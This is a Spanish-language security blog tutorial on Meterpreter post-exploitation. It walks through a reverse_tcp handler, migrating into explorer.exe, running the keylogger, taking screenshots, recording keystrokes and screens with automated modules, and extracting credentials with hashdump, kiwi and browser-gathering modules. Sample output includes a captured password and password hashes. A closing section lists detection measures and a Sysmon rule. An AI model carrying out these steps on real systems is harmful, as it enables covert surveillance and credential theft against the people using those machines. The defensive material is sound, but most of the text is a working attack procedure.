Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas Proyectos Sobre

Usar Keylogger del Metasploit

Read in English
Usar Keylogger del Metasploit

Tabla de contenidos

Meterpreter, el payload avanzado de Metasploit Framework, incluye entre sus funcionalidades de post-explotación un keylogger integrado que permite capturar todas las pulsaciones de teclado del sistema comprometido. Esta capacidad, combinada con la posibilidad de tomar capturas de pantalla y monitorizar procesos, convierte a Meterpreter en una herramienta completa para la fase de recolección de información tras una intrusión exitosa.

Requisitos previos

Para utilizar el keylogger de Meterpreter, necesitamos:

  • Una sesión Meterpreter activa en el sistema objetivo.
  • Privilegios suficientes (idealmente SYSTEM) para capturar pulsaciones de todos los usuarios.
  • Migración al proceso correcto del escritorio del usuario objetivo.

Obtener una sesión Meterpreter

Primero establecemos una sesión Meterpreter mediante cualquier vector de explotación disponible:

bash
# Ejemplo: usar handler para recibir una conexión inversa
msf> use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.100
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49152)

# Verificar privilegios
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM

# Ver información del sistema
meterpreter> sysinfo
Computer        : WORKSTATION01
OS              : Windows 10 (10.0 Build 19045)
Architecture    : x64
Meterpreter     : x86/windows

Migración al proceso del escritorio

El keylogger solo captura pulsaciones del proceso en el que Meterpreter está inyectado. Para capturar las pulsaciones del usuario, debemos migrar al proceso explorer.exe o a cualquier proceso que tenga acceso al escritorio del usuario:

bash
# Listar procesos para encontrar explorer.exe
meterpreter> ps

PID   PPID  Name              Arch  Session  User
---   ----  ----              ----  -------  ----
428   4     smss.exe
1204  512   explorer.exe      x64   1        WORKSTATION01\usuario
2816  1204  firefox.exe       x64   1        WORKSTATION01\usuario

# Migrar al proceso explorer.exe
meterpreter> migrate 1204
[*] Migrating from 3456 to 1204...
[*] Migration completed successfully.

# Verificar que estamos en el proceso correcto
meterpreter> getpid
Current pid: 1204

Importante: Si el proceso al que migramos termina (el usuario cierra sesión, por ejemplo), perdemos la sesión Meterpreter. Considera usar migrate -P para persistencia o configurar un mecanismo de reconexión.

Iniciar el keylogger

Con la migración completada, iniciamos la captura de pulsaciones:

bash
# Iniciar la captura de pulsaciones
meterpreter> keyscan_start
Starting the keystroke sniffer ...

# Esperar un tiempo para que el usuario escriba...

# Volcar las pulsaciones capturadas
meterpreter> keyscan_dump
Dumping captured keystrokes...

usuario@empresa.com  MiPassword123! 
Hola, te envío el informe 

# Detener el keylogger
meterpreter> keyscan_stop
Stopping the keystroke sniffer...

El keylogger captura teclas especiales como <Return>, <Tab>, <Back>, <Shift>, etc., lo que permite reconstruir credenciales, mensajes y URLs visitadas.

Capturas de pantalla

Complementar el keylogger con capturas de pantalla proporciona contexto visual de lo que el usuario está haciendo:

bash
# Tomar una captura de pantalla
meterpreter> screenshot
Screenshot saved to: /root/dkHBwQQm.jpeg

# Captura de pantalla con nombre personalizado
meterpreter> screenshot -p /tmp/captura_escritorio.jpg

Automatización con scripts post-explotación

Meterpreter permite automatizar la captura periódica de pulsaciones y screenshots:

bash
# Usar el módulo post de keylogger con volcado automático
meterpreter> run post/windows/capture/keylog_recorder

[*] Executing module against WORKSTATION01
[*] Starting the keylog recorder...
[*] Keystrokes being saved to /root/.msf4/loot/20240320_keylog_*.txt
[*] Recording keystrokes...

# Módulo post para screenshots periódicos
meterpreter> run post/windows/gather/screen_spy

[*] Capturing screenshots every 10 seconds...
[*] Screenshots saved to /root/.msf4/loot/

Otras técnicas de recolección de credenciales

El keylogger es solo una de las técnicas disponibles en Meterpreter para recolectar credenciales:

bash
# Extraer hashes de contraseñas SAM
meterpreter> hashdump

Administrator:500:aad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
usuario:1001:aad3b435b51404ee:7b592e4f8178b4c75788531b2e747687:::

# Cargar Mimikatz (kiwi) para extraer credenciales en texto claro
meterpreter> load kiwi
meterpreter> creds_all

# Extraer credenciales de navegadores
meterpreter> run post/multi/gather/firefox_creds
meterpreter> run post/windows/gather/enum_chrome

Detección y contramedidas

Desde la perspectiva defensiva, existen varias formas de detectar y prevenir el uso de keyloggers de Meterpreter:

  • EDR/Antivirus — Las soluciones modernas de endpoint detection detectan la inyección de código en procesos legítimos (técnica usada por migrate).
  • Monitorización de procesos — Alertar cuando un proceso inesperado llama a las APIs SetWindowsHookEx o GetAsyncKeyState.
  • Sysmon — Configurar reglas de Sysmon para detectar eventos de inyección de procesos (Event ID 8: CreateRemoteThread).
  • Teclados virtuales — Para operaciones sensibles como banca online, usar teclados virtuales que no generan eventos de teclado estándar.
  • Autenticación multifactor (MFA) — Incluso si el keylogger captura la contraseña, MFA añade una capa adicional que el keylogger no puede interceptar fácilmente.
  • Gestores de contraseñas — Con autocompletado, evitan la necesidad de escribir contraseñas manualmente.
xml
<!-- Regla Sysmon para detectar inyección de procesos -->
<RuleGroup groupRelation="or">
  <CreateRemoteThread onmatch="include">
    <TargetImage condition="is">C:\Windows\explorer.exe</TargetImage>
  </CreateRemoteThread>
</RuleGroup>

El keylogger de Meterpreter es una demostración clara de por qué la defensa en profundidad es esencial. La captura de credenciales es trivial una vez que un atacante tiene acceso al sistema. La verdadera defensa está en prevenir el compromiso inicial, detectar la intrusión tempranamente y minimizar el impacto mediante segmentación, MFA y monitorización continua.

:wq!

Comentarios